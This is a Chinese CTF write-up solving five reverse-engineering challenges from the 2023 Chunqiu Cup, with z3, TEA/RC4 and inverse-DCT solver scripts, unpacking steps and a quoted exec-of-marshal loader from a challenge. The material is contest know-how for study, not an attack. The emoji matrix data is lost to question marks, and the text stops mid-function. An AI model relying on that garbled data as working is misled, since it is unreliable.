2023年春秋杯网络安全联赛春季赛writup

发布时间 2023-06-06 10:10:41作者: 渗透测试中心

Re 

Emoji Connect

是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了

dat = '''? ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?'''

'''

matrix = [row.split('\t') for row in dat.split('\n')]

WIDTH = len(matrix[0])
HEIGHT = len(matrix)
off = 128512
flag = [25588, 31114, 28727, 26722, 24948, 25135, 25480, 29029, 23025, 25775, 15411, 25423, 25202, 30031, 27380,
       30734, 25054, 25109, 20741, 28568, 28802, 24591, 26063, 30940, 30375, 19411, 29573, 20845, 27232, 26743,
       25779, 24986, 31498, 30978, 22945, 26563, 35012, 29994, 27016, 29535, 21342, 26573, 27569, 25408, 31567,
       25503, 21385, 27207]
flag2 = [0 for _ in range(len(flag))]
EMPTY = ''


def find_possible():
   for y in range(HEIGHT):
       for x in range(WIDTH):
           flag[ord(matrix[y][x]) - off] -= y * x


find_possible()


print(flag)
print(''.join([chr(f) for f in flag]))

跑完就合理的打印出flag了

Pytrans 

根据题目可知这是个python打包的程序
用 python3.8,pyinstxtractor.py 解包
在这里插入图片描述
用uncompyle6反编译run.pyc
关键代码
在这里插入图片描述
主要逻辑,首先输入十个数,然后调用mylib.so文件里的check函数
在这里插入图片描述
用z3解一下

from z3 import *

 

a1 = [BitVec('u%d' % i, 16) for i in range(0, 10)]

solver = Solver()

 

solver.add(-27 * a1[7]

     + -11 * a1[6]

     + 16 * a1[5]

     + a1[0]

     + 2 * a1[1]

     - a1[2]

     + 8 * a1[3]

     - 14 * a1[4]

     + 26 * a1[8]

     + 17 * a1[9] == 0x387E)

solver.add(-30 * a1[8] + 13 * a1[5] + a1[3] + a1[1] + 2 * a1[0] - 15 * a1[4] - 24 * a1[6] + 16 * a1[7] + 36 * a1[9] == -2591)

solver.add(16 * a1[6]

     + -21 * a1[5]

     + 7 * a1[3]

     + 3 * a1[1]

     - a1[0]

     - a1[2]

     + 12 * a1[4]

     - 23 * a1[7]

     + 25 * a1[8]

     - 18 * a1[9] == 2517)

solver.add(-6 * a1[6] + 2 * a1[2] - a1[1] + 2 * a1[5] + 9 * a1[7] + 2 * a1[8] - 5 * a1[9] == 203)

solver.add(-5 * a1[8] + 6 * a1[7] + 3 * a1[1] - a1[3] - a1[5] + a1[6] + 5 * a1[9] == 3547)

solver.add(-9 * a1[8] + a1[4] + a1[2] + a1[7] - 5 * a1[9] == -7609)

solver.add(2 * a1[5] + -a1[3] - a1[4] + a1[8] + 6 * a1[9] == 4884)

solver.add(a1[6] - a1[7] + 2 * a1[8] == 1618)

solver.add(a1[4] - a1[6] + 2 * a1[9] == 1096)

solver.add(a1[8] + a1[4] + a1[3] + a1[2] + a1[1] + a1[0] - a1[5] - a1[6] - a1[7] - a1[9] == 711)

solver.add(2 * (2 * a1[4] + a1[3]) + 5 * a1[5] == 7151)

 

if solver.check()==sat:

    result = solver.model()

    print(result)

得到十个数

511 112 821 949 517 637 897 575 648 738

输入这十个数后,发现后面还有东西
在这里插入图片描述
于是回去看看代码

decoded_data = base64.b64decode(scrambled_code_string)

uncompressed_data = zlib.decompress(decoded_data)

exec(__import__('marshal').loads(uncompressed_data))

这段代码可以执行一个经过混淆的 Python 代码字符串,它包含了编码后的字符串,使用 base64 进行解码,然后使用 zlib 进行解压缩。解压缩的结果是一个经过 Python 自带的 marshal 库序列化后的对象。最后,使用 exec 进行执行。

加两行代码将uncompressed_data的数据输出看看

decoded_data = base64.b64decode(scrambled_code_string)

uncompressed_data = zlib.decompress(decoded_data)

for i in uncompressed_data:

    print(hex(i)[2:].rjust(2,'0'),end='')

exec(__import__('marshal').loads(uncompressed_data))

将十六进制数复制出来,放入010Editor查看下
在这里插入图片描述
可以发现是个缺少文件头的pyc文件
在这里插入图片描述
将run.pyc的文件头复制过来
在这里插入图片描述
uncompyle6 反编译看看,代码

footprint = '3qzqns4hj6\neeaxc!4a-%\nd735_@4l6g\nf1gd1v7hdm\n1+$-953}81\na^21vbnm3!\n-#*f-e1d8_\n2ty9uipok-\n6r1802f7d1\n9wez1c-f{0'

xx0000 = []

footprintlist = footprint.split('\n')

for i in range(len(footprintlist)):

    xx0000.append(list(footprintlist[i]))

else:

 

    def xxxx000x0(num):

        xx000000 = format(num, '010b')

        return xx000000

 

 

    oxooxxxxxoooo = []

    xx0000000 = input("Please enter the previous 10 digits again and ending with '\\n': ").split(' ')

    if len(xx0000000) == 10:

        try:

            for i in xx0000000:

                oxooxxxxxoooo.append(int(i))

 

        except:

            print('err input!')

            exit(-1)

 

    else:

        print('err input!')

        exit(-1)

    for i in range(len(oxooxxxxxoooo)):

        oxooxxxxxoooo[i] = list(xxxx000x0(oxooxxxxxoooo[i]))

    else:

        xx0000x000 = oxooxxxxxoooo

        x, o = (0, 0)

        xx00x00x0xxx00 = [(x, o)]

        xx00x00x0xxx00input = list(input('input maze path:'))

        count = 0

        while (x, o) != (9, 9):

            if count < len(xx00x00x0xxx00input):

                xx0000x0xxx00 = xx00x00x0xxx00input[count]

                if xx0000x0xxx00 == 'a':

                    if o > 0 and xx0000x000[x][o - 1] == '0':

                        o -= 1

                        count += 1

                        xx00x00x0xxx00.append((x, o))

                    else:

                        print('wrong!')

                        exit(-1)

                elif xx0000x0xxx00 == 'd':

                    if o < 9 and xx0000x000[x][o + 1] == '0':

                        count += 1

                        o += 1

                        xx00x00x0xxx00.append((x, o))

                    else:

                        print('wrong!')

                        exit(-1)

                else:

                    if xx0000x0xxx00 == 'w':

                        if x > 0 and xx0000x000[x - 1][o] == '0':

                            count += 1

                            x -= 1

                            xx00x00x0xxx00.append((x, o))

                        else:

                            print('wrong!')

                            exit(-1)

                    else:

                        if xx0000x0xxx00 == 's':

                            if x < 9 and xx0000x000[x + 1][o] == '0':

                                count += 1

                                x += 1

                                xx00x00x0xxx00.append((x, o))

                            else:

                                print('wrong!')

                                exit(-1)

                        else:

                            print('wrong!')

                            exit(-1)

            else:

                print('wrong!')

                exit(-1)

 

        print('right! you maybe got it,flag is flag{the footprint of the maze path}')

可以发现是个迷宫题,根据输入的数字生成对应的迷宫,添加两行代码打印迷宫
在这里插入图片描述
迷宫为:

['0', '1', '1', '1', '1', '1', '1', '1', '1', '1']

['0', '0', '0', '1', '1', '1', '0', '0', '0', '0']

['1', '1', '0', '0', '1', '1', '0', '1', '0', '1']

['1', '1', '1', '0', '1', '1', '0', '1', '0', '1']

['1', '0', '0', '0', '0', '0', '0', '1', '0', '1']

['1', '0', '0', '1', '1', '1', '1', '1', '0', '1']

['1', '1', '1', '0', '0', '0', '0', '0', '0', '1']

['1', '0', '0', '0', '1', '1', '1', '1', '1', '1']

['1', '0', '1', '0', '0', '0', '1', '0', '0', '0']

['1', '0', '1', '1', '1', '0', '0', '0', '1', '0']

从[0,0]走到[9,9]则通过,路径为

sddsdssdddwwwddsssssaaaaassddsddwdds

在这里插入图片描述

直接修改源代码,按照路径,输出footprint经过的字符

footprint = '3qzqns4hj6\neeaxc!4a-%\nd735_@4l6g\nf1gd1v7hdm\n1+$-953}81\na^21vbnm3!\n-#*f-e1d8_\n2ty9uipok-\n6r1802f7d1\n9wez1c-f{0'

xx0000 = []

footprintlist = footprint.split('\n')

for i in range(len(footprintlist)):

    xx0000.append(list(footprintlist[i]))

else:

 

    def xxxx000x0(num):

        xx000000 = format(num, '010b')

        return xx000000

 

    for i in xx0000:

        print(i)

    print('----------------------------------------------------')

    

    oxooxxxxxoooo = []

    # xx0000000 = input("Please enter the previous 10 digits again and ending with '\\n': ").split(' ')#511 112 821 949 517 637 897 575 648 738

    xx0000000 = '511 112 821 949 517 637 897 575 648 738'.split(' ')

    if len(xx0000000) == 10:

        try:

            for i in xx0000000:

                oxooxxxxxoooo.append(int(i))

 

        except:

            print('err input!')

            exit(-1)

 

    else:

        print('err input!')

        exit(-1)

    for i in range(len(oxooxxxxxoooo)):

        oxooxxxxxoooo[i] = list(xxxx000x0(oxooxxxxxoooo[i]))

    else:

        xx0000x000 = oxooxxxxxoooo

        for i in xx0000x000:

            print(i)

        x, o = (0, 0)

        xx00x00x0xxx00 = [(x, o)]

        # xx00x00x0xxx00input = list(input('input maze path:'))

        xx00x00x0xxx00input = list('sddsdssdddwwwddsssssaaaaassddsddwdds')

        count = 0

        while (x, o) != (9, 9):

            if count < len(xx00x00x0xxx00input):

                xx0000x0xxx00 = xx00x00x0xxx00input[count]

                if xx0000x0xxx00 == 'a':

                    if o > 0 and xx0000x000[x][o - 1] == '0':

                        o -= 1

                        count += 1

                        xx00x00x0xxx00.append((x, o))

                    else:

                        print('wrong!')

                        exit(-1)

                elif xx0000x0xxx00 == 'd':

                    if o < 9 and xx0000x000[x][o + 1] == '0':

                        count += 1

                        o += 1

                        xx00x00x0xxx00.append((x, o))

                    else:

                        print('wrong!')

                        exit(-1)

                else:

                    if xx0000x0xxx00 == 'w':

                        if x > 0 and xx0000x000[x - 1][o] == '0':

                            count += 1

                            x -= 1

                            xx00x00x0xxx00.append((x, o))

                        else:

                            print('wrong!')

                            exit(-1)

                    else:

                        if xx0000x0xxx00 == 's':

                            if x < 9 and xx0000x000[x + 1][o] == '0':

                                count += 1

                                x += 1

                                xx00x00x0xxx00.append((x, o))

                            else:

                                print('wrong!')

                                exit(-1)

                        else:

                            print('wrong!')

                            exit(-1)

            else:

                print('wrong!')

                exit(-1)

        

        print('right! you maybe got it,flag is flag{the footprint of the maze path}')#sddsdssdddwwwddsssssaaaaassddsddwdds

        

        flag=''

        for i in range(len(xx00x00x0xxx00)):

            flag+=xx0000[xx00x00x0xxx00[i][0]][xx00x00x0xxx00[i][1]]

        print('flag{'+flag+'}')

 

 

OldSymbolicCode

炫酷的dos程序,前面的内容放github可以搜出编码器,写一个解码的:

def decode(raw):
   raw = raw[4:]
   res = []
   for i in range(0, len(raw), 2):
       first = ord(raw[i])
       if first == 0x40:
           first = 0
       elif first == 0x5f:
           first = 0xf
       else:
           first &= 0xf
       second = ord(raw[i + 1])
       if second == 0x40:
           second = 0
       elif second == 0x5f:
           second = 0xf
       else:
           second &= 0xf
       res.append(first | (second << 4))
   return res

去掉前边装载的内容就是入口函数解密是一个RC4一个XTEARC4的密钥是 "0ldComputerSecret"然后XTEA密钥装载顺序有点奇怪,DOS的端序也不是很确定,x-ray不能逆16位的汇编,ghidra和snow可以但也不是很清楚,用 DOSBox-x 动态模拟一下

 

DOSBox安装

如果要debug的话,记得把debug.exe放到asm文件夹里
然后开始debug硬调
常用命令
在这里插入图片描述
根据调试,代码主要逻辑为

输入一串字符串

 

判断长度是否等于36,不等于则Try Again!

主要逻辑为:rc4加密,tea加密

 

可以根据以下指令调试

g 02cb

g 02ce

g fffb

g 0177,输出Hello!Your flag is:

g 01a8,输入flag

g 01f3

g 01fb,rc4加密函数

g 01fe,rc4加密后

g 028c,准备tea加密

g 0294,此处存放密文

 

rc4:密钥

hex:30 6c 64 43 6f 6d 70 75 74 65 72 53 65 63 72 65 74

key:0ldComputerSecret

 

tea:

round:32

 

si=e9de   di=a554

mov ax,di

mov cl,04

shl ax,cl  左移四位

mov dx,di

mov cl,05

shr dx,cl 右移五位

xor ax,dx

 

判断是tea算法加密

 

sum=0x9e35

key=[0x4e21,0x7065,0x656e,0x2170]

 

si+=di做运算

sum+=0x9e35

di+=si做运算

 

可以看到key是 "!Nepnep!"解密脚本:

#include <stdio.h>
#include <stdint.h>

#include <string.h>

#define uint32_t uint16_t
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 40501;
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0; v[1] = v1;
}


void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[5]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E35, sum = 0;
for (i = 0; i < num_rounds; ++i) {
sum += delta;
}
for (i = 0; i < num_rounds; ++i) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

void RC4_enc_dec(unsigned char data[], unsigned char key[]) {
unsigned char sbox[256] = { 0 };
unsigned int k, i = 0, j = 0, t;
for (unsigned int i = 0; i < 256; i++)
sbox[i] = i;
unsigned int keyLen = strlen((char*)key);
unsigned char Ttable[256] = { 0 };
for (int i = 0; i < 256; i++)
Ttable[i] = key[i % keyLen];
for (uint32_t j = 0, i = 0; i < 256; i++)
{
j = (j + sbox[i] + Ttable[i]) % 256;
unsigned char tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
unsigned int dataLen = 36;
for (unsigned int h = 0; h < dataLen; h++)
{
i = (i + 1) % 256;
j = (j + sbox[i]) % 256;

unsigned char tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
t = (sbox[i] + sbox[j]) % 256;
k = sbox[t];
data[h] ^= k;
}
}

int try1(uint32_t* v, uint32_t const k[5]) {
int n = 18;
unsigned int r = 0x20;
for (int i = 0; i < n; i += 2) {
decrypt(r, &(v[i]), k);
}
RC4_enc_dec((unsigned char*)v, (unsigned char*)"0ldComputerSecret");
for (int i = 0; i < n*2; i++) {
printf("%c", ((unsigned char*)v)[i]);
}
printf("\n");
return 0;
}

int main() {
uint32_t v[] = {
 0xE3D8, 0x97AD, 0x0DB4, 0xA0A5,
 0x63E3, 0x439C, 0x9BC9, 0x2685,
 0x2DEA, 0xDF95, 0xB288, 0x6F18,
 0x80F3, 0xD2CA, 0xFF0D, 0x5B9B,
 0x8B65, 0xEBAF
};
try1(v, (uint16_t*)"!Nepnep!");
}
或者
先解tea,再rc4解密
#include<stdio.h>
#include<stdlib.h>
 
void encode(unsigned int *a1, unsigned int *a2)
{
  int x;
  unsigned __int16 i; // [rsp+8h] [rbp-18h]
  unsigned __int16 v4; // [rsp+14h] [rbp-Ch]
  unsigned __int16 v5; // [rsp+18h] [rbp-8h]
  unsigned __int16 v6;
  
  for(x=0;x<=16;x++)
  {
        v6 = *(a1+x*2);
      v5 = *(a1+x*2+1);
      v4 = 0;
      i=0;
      do
      {
          i++;
          v6 += (((v5 >> 5) ^ 16 * v5) + v5) ^ (*((v4 & 3) + a2) + v4);
          v4 += 0x9E35;
        v5 += (((v6 >> 5) ^ 16 * v6) + v6) ^ (*(((v4 >> 11) & 3) + a2) + v4);
      }while(i<32);
      *(a1+x*2) = v6;
      *(a1+x*2+1) = v5;
//      printf("\n0x%X\n",v4);
  }
} 
 
void decode(unsigned int *a1, unsigned int *a2)
{
  int x;
  unsigned __int16 i; // [rsp+8h] [rbp-18h]
  unsigned __int16 v4; // [rsp+14h] [rbp-Ch]
  unsigned __int16 v5; // [rsp+18h] [rbp-8h]
  unsigned __int16 v6;
  
  for(x=0;x<=16;x++)
  {
        v6 = *(a1+x*2);
      v5 = *(a1+x*2+1);
      v4 = 0xC6A0;
      i=0;
      do
      {
          i++;
          v5 -= (((v6 >> 5) ^ 16 * v6) + v6) ^ (*(((v4 >> 11) & 3) + a2) + v4);
          v4 -= 0x9E35;
          v6 -= (((v5 >> 5) ^ 16 * v5) + v5) ^ (*((v4 & 3) + a2) + v4);
      }while(i<32);
      *(a1+x*2) = v6;
      *(a1+x*2+1) = v5;
//      printf("\n0x%X\n",v4);
  }
} 
  
int main()
{
    unsigned int v[18]={0xE3D8,0x97AD,0x0DB4,0xA0A5,0x63E3,0x439C,0x9BC9,0x2685,0x2DEA,0xDF95,0xB288,0x6F18,0x80F3,0xD2CA,0xFF0D,0x5B9B,0x8B65,0xEBAF};
    unsigned int key[4]={0x4e21,0x7065,0x656e,0x2170};
    int i;
    decode(v,key);
    for(i=0;i<18;i++)
    {
        printf("%.2x",v[i]&0xff);
        printf("%.2x",(v[i]&0xff00)/0x100);//dee954a5162e2effe4ad030cbd49c0cd6f495c9822e094767e74da6457b4ef4105a23439,最后rc4解密 
    }
    printf("\n");
    for(i=0;i<18;i++)
    {
        printf("0x%.4X ",v[i]);
    }
    printf("\n");
    
    encode(v,key);
    for(i=0;i<18;i++)
    {
        printf("0x%.4X ",v[i]);
    }
    system("pause");
    return 0;
}
在这里插入图片描述

BWBA

main->encrypt()函数
主要加密代码
在这里插入图片描述
可以发现这是个DCT离散余弦变换

鉴定为 DCT:逆变换一下:

import cv2

import numpy as np

dct_arr = [370.75, 234.362, -58.0834, 59.8212, 88.8221, -30.2406, 21.8316, 49.9781, -33.5259, 2.69675, 43.5386,
          -30.2925, -28.0754, 27.593, -2.53962, -27.1883, -5.60777, -0.263937, 6.80326, 8.03022, -6.34681, -0.89506,
          -6.80685, -13.6088, 27.0958, 29.8439, -21.7688, -20.6925, -13.2155, -37.0994, 2.23679, 37.6699, -3.5,
          9.85188, 57.2806, 13.5715, -20.7184, 8.6816, 3.59369, -4.5302, 4.22203, -28.8166, -23.695, 31.2268, 6.58823,
          -39.9966, -20.7877, -19.7624, -22.031, 16.3285, 2.07557, -26.2521, 16.1914, 18.3976, -26.9295, 3.03769,
          41.0412, 20.2598, 14.991, 6.99392, -22.3752, -7.24466, 8.96299, -10.487]
# init numpy array
dct_arr = np.array(dct_arr)
# get idct of dct_arr
idct_arr = cv2.idct(dct_arr)
# cast to normal array
idct_arr = idct_arr.tolist()
# print idct_arr as ascii, round to nearest integer
print(''.join([chr(int(round(x[0]))) for x in idct_arr]))
 

关于DCT算法这几篇文章不错:

  1. DCT离散余弦变换
  2. 详解离散余弦变换(DCT)
 

Poisoned_tea_CHELL

VMP!不是VMP是魔改的UPX,下个最新版的然后把VMP都改成UPX就可以脱然后是小改的XTEA,改一下解就可以

1. 重新识别函数及程序逻辑分析

这里可能是识别问题,找到这三块红色区域查看汇编

 

 

然后可以发现这里莫名其妙定义了四个字节数据,按u取消掉下方指令定义

 

 

然后从这段数据头(0x763处)按p识别为函数,即可可以看到tea逻辑

 

 

另外两块红色区域同理,重新识别后可以看到主函数(如果看不到那就对tea函数交叉引用向上找)

 

 

这里给出我分析美化后的主函数:

__int64 __fastcall Main()

{

  __int64 result; // rax

  int i; // [rsp+Ch] [rbp-464h]

  int j; // [rsp+10h] [rbp-460h]

  int chr1; // [rsp+14h] [rbp-45Ch] BYREF

  int chr2; // [rsp+18h] [rbp-458h]

  int v5; // [rsp+1Ch] [rbp-454h]

  int key[8]; // [rsp+20h] [rbp-450h] BYREF

  int d1; // [rsp+40h] [rbp-430h]

  int d2; // [rsp+44h] [rbp-42Ch]

  int b1; // [rsp+48h] [rbp-428h]

  int b2; // [rsp+4Ch] [rbp-424h]

  int v11; // [rsp+50h] [rbp-420h]

  int buffer[258]; // [rsp+60h] [rbp-410h] BYREF

  unsigned __int64 v13; // [rsp+468h] [rbp-8h]

 

  v13 = __readfsqword(0x28u);

  key[0] = 5;

  key[1] = 2;

  key[2] = dword_7FA16F6F8464;                  // 猜测也是一位数,可以爆破

  key[3] = dword_7FA16F6F8454;

  key[4] = 0;

  memset(buffer, 0, 0x400uLL);

  sub_7FA16F6F5524();

  sub_7FA16F6F5554();

  sub_7FA16F6F5594();                           // 这几个函数找不到

  sub_7FA16F6F5574(&unk_7FA16F6F6469, buffer);

  chr1 = 0;

  chr2 = 0;

  v5 = 0;

  for ( i = 0; buffer[i]; i += 2 )              // 也就是每次对buffer的两个字符进行tea加密

  {

    chr1 = buffer[i];

    chr2 = buffer[i + 1];

    Tea(dword_7FA16F6F8474, &chr1, key);        // 一次加密两个字符

    buffer[i] = chr1;                           // 更新buffer串

    buffer[i + 1] = chr2;

  }

  d1 = 0;

  d2 = 0;

  b1 = 0;

  b2 = 0;

  v11 = 0;

  for ( j = 0; buffer[j]; j += 2 )              // 比较函数

  {

    d1 = desStr[j];

    d2 = desStr[j + 1];

    b1 = buffer[j];

    b2 = buffer[j + 1];

    if ( d1 != b1 || d2 != b2 )

      break;

  }

  sub_7FA16F6F5524();

  result = 0LL;

  if ( v13 != __readfsqword(0x28u) )

